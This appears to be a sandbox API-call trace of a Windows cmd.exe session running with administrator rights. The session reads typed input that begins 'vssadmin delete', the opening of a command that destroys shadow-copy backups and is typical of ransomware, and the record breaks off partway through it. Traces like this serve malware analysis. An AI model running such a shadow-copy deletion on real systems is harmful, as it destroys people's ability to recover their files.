	[0064.440] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xe8be8ff430 | out: lpFindFileData=0xe8be8ff430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x256c8cc8500
	[0064.440] FindClose (in: hFindFile=0x256c8cc8500 | out: hFindFile=0x256c8cc8500) returned 1
	[0064.440] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xe8be8ff430 | out: lpFindFileData=0xe8be8ff430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x248ac2f5, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x248ac2f5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x256c8cc8500
	[0064.440] FindClose (in: hFindFile=0x256c8cc8500 | out: hFindFile=0x256c8cc8500) returned 1
	[0064.440] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0064.440] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0064.440] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0064.440] GetProcessHeap () returned 0x256c8cc0000
	[0064.440] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc7a10) returned 1
	[0064.440] GetEnvironmentStringsW () returned 0x256c8cc0fc0*
	[0064.441] GetProcessHeap () returned 0x256c8cc0000
	[0064.441] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xacc) returned 0x256c8cc8500
	[0064.441] FreeEnvironmentStringsA (penv="=") returned 1
	[0064.441] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x256c8dc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0064.441] GetProcessHeap () returned 0x256c8cc0000
	[0064.441] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc84b0) returned 1
	[0064.441] ??_V@YAXPEAX@Z () returned 0x1
	[0064.441] ??_V@YAXPEAX@Z () returned 0x1
	[0064.441] GetProcessHeap () returned 0x256c8cc0000
	[0064.441] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x4016) returned 0x256c8cc8fe0
	[0064.441] GetProcessHeap () returned 0x256c8cc0000
	[0064.441] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc8fe0) returned 1
	[0064.442] GetConsoleOutputCP () returned 0x1b5
	[0065.972] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0065.972] GetUserDefaultLCID () returned 0x409
	[0065.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7acb5bb78, cchData=8 | out: lpLCData=":") returned 2
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe8be8ffac0, cchData=128 | out: lpLCData="0") returned 2
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe8be8ffac0, cchData=128 | out: lpLCData="0") returned 2
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe8be8ffac0, cchData=128 | out: lpLCData="1") returned 2
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7acb5bb68, cchData=8 | out: lpLCData="/") returned 2
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7acb5bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7acb5bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7acb5ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7acb5ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7acb5ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7acb5b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7acb5b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7acb5bb58, cchData=8 | out: lpLCData=".") returned 2
	[0065.973] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7acb5bb40, cchData=8 | out: lpLCData=",") returned 2
	[0065.973] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0065.975] GetProcessHeap () returned 0x256c8cc0000
	[0065.975] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x0, Size=0x20c) returned 0x256c8cc6560
	[0065.975] GetConsoleTitleW (in: lpConsoleTitle=0x256c8cc6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0066.488] _get_osfhandle (_FileHandle=1) returned 0x288
	[0066.488] GetFileType (hFile=0x288) returned 0x3
	[0067.305] ApiSetQueryApiSetPresence () returned 0x0
	[0067.305] ResolveDelayLoadedAPI () returned 0x7ff911add990
	[0067.308] BrandingFormatString () returned 0x256c8cc1850
	[0067.954] GetVersion () returned 0x3ad7000a
	[0067.954] _vsnwprintf (in: _Buffer=0xe8be8ffc20, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xe8be8ffbb8 | out: _Buffer="10.0.15063") returned 10
	[0067.954] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.954] GetFileType (hFile=0x288) returned 0x3
	[0067.954] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7acb67f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0067.955] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7acb67f60, nSize=0x2000, Arguments=0xe8be8ffbc0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0067.955] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0067.955] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xe8be8ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ffb18*=0x26, lpOverlapped=0x0) returned 1
	[0067.968] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe8be8ffbe8 | out: _Buffer="\r\n") returned 2
	[0067.968] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.968] GetFileType (hFile=0x288) returned 0x3
	[0067.968] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0067.968] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe8be8ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ffbb8*=0x2, lpOverlapped=0x0) returned 1
	[0067.968] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xe8be8ffbe8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0067.968] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.968] GetFileType (hFile=0x288) returned 0x3
	[0067.968] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0067.969] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe8be8ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ffbb8*=0x34, lpOverlapped=0x0) returned 1
	[0067.969] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe8be8ffbe8 | out: _Buffer="\r\n") returned 2
	[0067.969] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.969] GetFileType (hFile=0x288) returned 0x3
	[0067.969] _get_osfhandle (_FileHandle=1) returned 0x288
	[0067.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0067.969] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe8be8ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ffbb8*=0x2, lpOverlapped=0x0) returned 1
	[0067.969] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0067.970] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830
	[0067.970] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300
	[0067.970] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40
	[0067.970] ??_V@YAXPEAX@Z () returned 0x1
	[0067.970] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0067.970] GetFileType (hFile=0x27c) returned 0x3
	[0067.970] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0067.970] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xe8be8ffa28 | out: TokenHandle=0xe8be8ffa28*=0x0) returned 0xc000007c
	[0067.971] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xe8be8ffa28 | out: TokenHandle=0xe8be8ffa28*=0x94) returned 0x0
	[0067.971] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xe8be8ff9d8, TokenInformationLength=0x4, ReturnLength=0xe8be8ff9e0 | out: TokenInformation=0xe8be8ff9d8, ReturnLength=0xe8be8ff9e0) returned 0x0
	[0067.971] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xe8be8ff9e0, TokenInformationLength=0x4, ReturnLength=0xe8be8ff9d8 | out: TokenInformation=0xe8be8ff9e0, ReturnLength=0xe8be8ff9d8) returned 0x0
	[0067.971] NtClose (Handle=0x94) returned 0x0
	[0067.971] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xe8be8ff9f0, nSize=0x0, Arguments=0xe8be8ff9f8 | out: lpBuffer="\x8320\xc8cc\x256") returned 0xf
	[0067.971] GetProcessHeap () returned 0x256c8cc0000
	[0067.971] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x218) returned 0x256c8cc6c30
	[0067.971] GetConsoleTitleW (in: lpConsoleTitle=0xe8be8ffa40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0068.300] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0068.301] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0068.539] GetProcessHeap () returned 0x256c8cc0000
	[0068.539] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc6c30) returned 1
	[0068.539] LocalFree (hMem=0x256c8cc8320) returned 0x0
	[0069.678] _vsnwprintf (in: _Buffer=0x7ff7acb67f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe8be8ff868 | out: _Buffer="\r\n") returned 2
	[0069.678] _get_osfhandle (_FileHandle=1) returned 0x288
	[0069.678] GetFileType (hFile=0x288) returned 0x3
	[0069.678] _get_osfhandle (_FileHandle=1) returned 0x288
	[0069.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0069.678] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe8be8ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ff838*=0x2, lpOverlapped=0x0) returned 1
	[0069.678] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0069.678] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x256c8dc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0069.678] malloc (_Size=0x107ce) returned 0x256c8dd0060
	[0069.678] _vsnwprintf (in: _Buffer=0x256c8dd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe8be8ff878 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0069.679] _vsnwprintf (in: _Buffer=0x256c8dd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe8be8ff878 | out: _Buffer=">") returned 1
	[0069.679] _get_osfhandle (_FileHandle=1) returned 0x288
	[0069.679] GetFileType (hFile=0x288) returned 0x3
	[0069.679] _get_osfhandle (_FileHandle=1) returned 0x288
	[0069.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0069.679] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe8be8ff868, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ff868*=0x18, lpOverlapped=0x0) returned 1
	[0069.679] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.679] GetFileType (hFile=0x27c) returned 0x3
	[0069.679] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.679] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.679] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1
	[0069.679] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.679] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.679] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.679] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.679] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.679] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.679] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.680] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.680] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.680] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0069.680] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.680] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.680] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0069.680] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.680] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.680] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0069.680] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.680] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.680] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0069.680] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.680] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.680] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0069.680] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.680] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.680] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.680] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.681] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.681] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.681] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0069.681] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.681] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.681] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.681] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.681] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.681] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.681] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0069.681] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.689] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.689] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.689] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.689] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.689] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.689] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.689] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.689] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.689] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.689] _get_osfhandle (_FileHandle=0) returned 0x27c
